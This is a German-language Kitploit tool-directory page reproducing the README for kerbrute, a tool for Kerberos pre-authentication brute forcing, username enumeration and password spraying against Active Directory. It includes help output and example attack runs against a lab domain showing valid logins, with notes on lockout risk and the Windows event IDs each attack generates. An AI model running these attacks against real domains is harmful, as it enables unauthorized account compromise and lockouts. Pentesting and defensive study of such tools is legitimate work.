Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
kerbrute — Ein Tool zur Durchführung von Kerberos-Pre-Auth-Brute-Force. | Kitploit
Tools/GitHubGitHub/ropnop/kerbrute
AufklärungPasswortangriffeInformationsbeschaffungAuthentifizierung
GitHubropnop/kerbrute

kerbrute

Ein Tool zur Durchführung von Kerberos-Pre-Auth-Brute-Force.

Repository anzeigen
3.4k485vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Kerbrute

CircleCI

Ein Tool zum schnellen Bruteforcen und Aufspüren gültiger Active-Directory-Konten durch Kerberos-Pre-Authentication

Laden Sie die neuesten Binärdateien von der Releases-Seite herunter, um loszulegen.

Hintergrund

Dieses Tool entstand aus einigen bash-Skripten, die ich vor ein paar Jahren geschrieben habe, um Bruteforcing mit dem Heimdal Kerberos-Client unter Linux durchzuführen. Ich wollte etwas, das keine Berechtigungen zur Installation eines Kerberos-Clients benötigt, und als ich die erstaunliche reine Go-Implementierung von Kerberos gokrb5 fand, beschloss ich, endlich Go zu lernen und dies zu schreiben.

Das Bruteforcen von Windows-Passwörtern mit Kerberos ist viel schneller als jede andere mir bekannte Methode und potenziell unauffälliger, da Fehler bei der Pre-Authentication nicht das „traditionelle“ Ereignis 4625 (An account failed to log on) auslösen. Mit Kerberos können Sie einen Benutzernamen validieren oder einen Login testen, indem Sie nur einen UDP-Frame an den KDC (Domain Controller) senden.

Weitere Hintergrundinformationen finden Sie in meinem Troopers-2019-Vortrag „Fun with LDAP and Kerberos“ (Link folgt).

Verwendung

Kerbrute hat drei Hauptbefehle:

  • bruteuser – Bruteforce eines einzelnen Benutzerpassworts aus einer Wortliste
  • bruteforce – Liest Benutzername:Passwort-Kombinationen aus einer Datei oder von stdin und testet sie
  • passwordspray – Testet ein einzelnes Passwort gegen eine Liste von Benutzern
  • userenum – Ermittelt gültige Domain-Benutzernamen über Kerberos

Eine Domain (-d) oder ein Domain-Controller (--dc) muss angegeben werden. Wenn kein Domain-Controller angegeben ist, wird der KDC per DNS ermittelt.

Standardmäßig ist Kerbrute multithreaded und verwendet 10 Threads. Dies kann mit der Option -t geändert werden.

Die Ausgabe erfolgt auf stdout, aber eine Logdatei kann mit -o angegeben werden.

Standardmäßig werden Fehler nicht protokolliert, aber das kann mit -v geändert werden.

Schließlich hat Kerbrute eine --safe-Option. Wenn diese Option aktiviert ist und ein Konto als gesperrt zurückkommt, werden alle Threads abgebrochen, um eine weitere Sperrung anderer Konten zu verhindern.

Der Befehl help kann für weitere Informationen verwendet werden.

root@kitploit:~
$ ./kerbrute -h

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (bc1d606) - 11/15/20 - Ronnie Flathers @ropnop

This tool is designed to assist in quickly bruteforcing valid Active Directory accounts through Kerberos Pre-Authentication.
It is designed to be used on an internal Windows domain with access to one of the Domain Controllers.
Warning: failed Kerberos Pre-Auth counts as a failed login and WILL lock out accounts

Usage:
  kerbrute [command]

Available Commands:
  bruteforce    Bruteforce username:password combos, from a file or stdin
  bruteuser     Bruteforce a single user's password from a wordlist
  help          Help about any command
  passwordspray Test a single password against a list of users
  userenum      Enumerate valid domain usernames via Kerberos
  version       Display version info and quit

Flags:
      --dc string          The location of the Domain Controller (KDC) to target. If blank, will lookup via DNS
      --delay int          Delay in millisecond between each attempt. Will always use single thread if set
  -d, --domain string      The full domain to use (e.g. contoso.com)
      --downgrade          Force downgraded encryption type (arcfour-hmac-md5)
      --hash-file string   File to save AS-REP hashes to (if any captured), otherwise just logged
  -h, --help               help for kerbrute
  -o, --output string      File to write logs to. Optional.
      --safe               Safe mode. Will abort if any user comes back as locked out. Default: FALSE
  -t, --threads int        Threads to use (default 10)
  -v, --verbose            Log failures and errors

Use "kerbrute [command] --help" for more information about a command.

Benutzerermittlung

Um Benutzernamen zu ermitteln, sendet Kerbrute TGT-Anfragen ohne Pre-Authentication. Wenn der KDC mit einem PRINCIPAL UNKNOWN-Fehler antwortet, existiert der Benutzername nicht. Fordert der KDC jedoch zur Pre-Authentication auf, wissen wir, dass der Benutzername existiert, und fahren fort. Dies verursacht keine Login-Fehler und sperrt daher keine Konten. Es erzeugt die Windows-Ereignis-ID 4768, wenn die Kerberos-Protokollierung aktiviert ist.

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:28:04 >  Using KDC(s):
2019/03/06 21:28:04 >   pdc01.lab.ropnop.com:88

2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  [+] VALID USERNAME:       [email protected]
2019/03/06 21:28:04 >  Done! Tested 1001 usernames (2 valid) in 0.425 seconds

Password Spray

Mit passwordspray führt Kerbrute einen horizontalen Brute-Force-Angriff gegen eine Liste von Domain-Benutzern durch. Dies ist nützlich, um ein oder zwei häufige Passwörter zu testen, wenn Sie eine große Liste von Benutzern haben. WARNUNG: Dies erhöht die Anzahl der fehlgeschlagenen Anmeldungen und kann Konten sperren. Es werden sowohl die Ereignis-IDs 4768 – Ein Kerberos-Authentifizierungsticket (TGT) wurde angefordert als auch 4771 – Die Kerberos-Pre-Authentifizierung ist fehlgeschlagen erzeugt.

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:37:29 >  Using KDC(s):
2019/03/06 21:37:29 >   pdc01.lab.ropnop.com:88

2019/03/06 21:37:35 >  [+] VALID LOGIN:  [email protected]:Password123
2019/03/06 21:37:37 >  [+] VALID LOGIN:  [email protected]:Password123
2019/03/06 21:37:37 >  Done! Tested 2755 logins (2 successes) in 7.674 seconds

Brute User

Dies ist ein traditioneller Brute-Force-Angriff auf einen Benutzernamen. Führen Sie dies nur aus, wenn Sie sicher sind, dass keine Sperrrichtlinie existiert! Es werden sowohl die Ereignis-IDs 4768 – Ein Kerberos-Authentifizierungsticket (TGT) wurde angefordert als auch 4771 – Die Kerberos-Pre-Authentifizierung ist fehlgeschlagen erzeugt.

root@kitploit:~
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (43f9ca1) - 03/06/19 - Ronnie Flathers @ropnop

2019/03/06 21:38:24 >  Using KDC(s):
2019/03/06 21:38:24 >   pdc01.lab.ropnop.com:88

2019/03/06 21:38:27 >  [+] VALID LOGIN:  [email protected]:Summer2017
2019/03/06 21:38:27 >  Done! Tested 1001 logins (1 successes) in 2.711 seconds

Brute Force

Dieser Modus liest einfach Benutzername/Passwort-Kombinationen (im Format username:password) aus einer Datei oder von stdin und testet sie mit Kerberos-PreAuthentication. Es werden leere Zeilen oder Zeilen mit leeren Benutzernamen/Passwörtern übersprungen. Es werden sowohl die Ereignis-IDs 4768 – Ein Kerberos-Authentifizierungsticket (TGT) wurde angefordert als auch 4771 – Die Kerberos-Pre-Authentifizierung ist fehlgeschlagen erzeugt.

root@kitploit:~
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -

    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 05/11/19 - Ronnie Flathers @ropnop

2019/05/11 18:40:56 >  Using KDC(s):
2019/05/11 18:40:56 >   pdc01.lab.ropnop.com:88

2019/05/11 18:40:56 >  [+] VALID LOGIN:  [email protected]:Password1234
2019/05/11 18:40:56 >  Done! Tested 7 logins (1 successes) in 0.114 seconds

Installation

Sie können vorkompilierte Binärdateien für Linux, Windows und Mac von der Releases-Seite herunterladen. Wenn Sie auf dem neuesten Stand sein möchten, können Sie es auch mit Go installieren:

root@kitploit:~
$ go get github.com/ropnop/kerbrute

Mit dem geklonten Repository können Sie auch die Make-Datei verwenden, um für gängige Architekturen zu kompilieren:

root@kitploit:~
$ make help
help:            Show this help.
windows:  Make Windows x86 and x64 Binaries
linux:  Make Linux x86 and x64 Binaries
mac:  Make Darwin (Mac) x86 and x64 Binaries
clean:  Delete any binaries
all:  Make Windows, Linux and Mac x86/x64 Binaries

$ make all
Done.
Building for windows amd64..
Building for windows 386..
Done.
Building for linux amd64...
Building for linux 386...
Done.
Building for mac amd64...
Building for mac 386...
Done.

$ ls dist/
kerbrute_darwin_386        kerbrute_linux_386         kerbrute_windows_386.exe
kerbrute_darwin_amd64      kerbrute_linux_amd64       kerbrute_windows_amd64.exe

Danksagungen

Großer Dank an jcmturner für seine reine Go-Implementierung von KRB5: https://github.com/jcmturner/gokrb5 . Ein erstaunliches Projekt und sehr gut dokumentiert. Ohne dieses Projekt wäre nichts davon möglich gewesen.

Dank an audibleblink für den Vorschlag und die Implementierung der delay-Option!

Tool herunterladen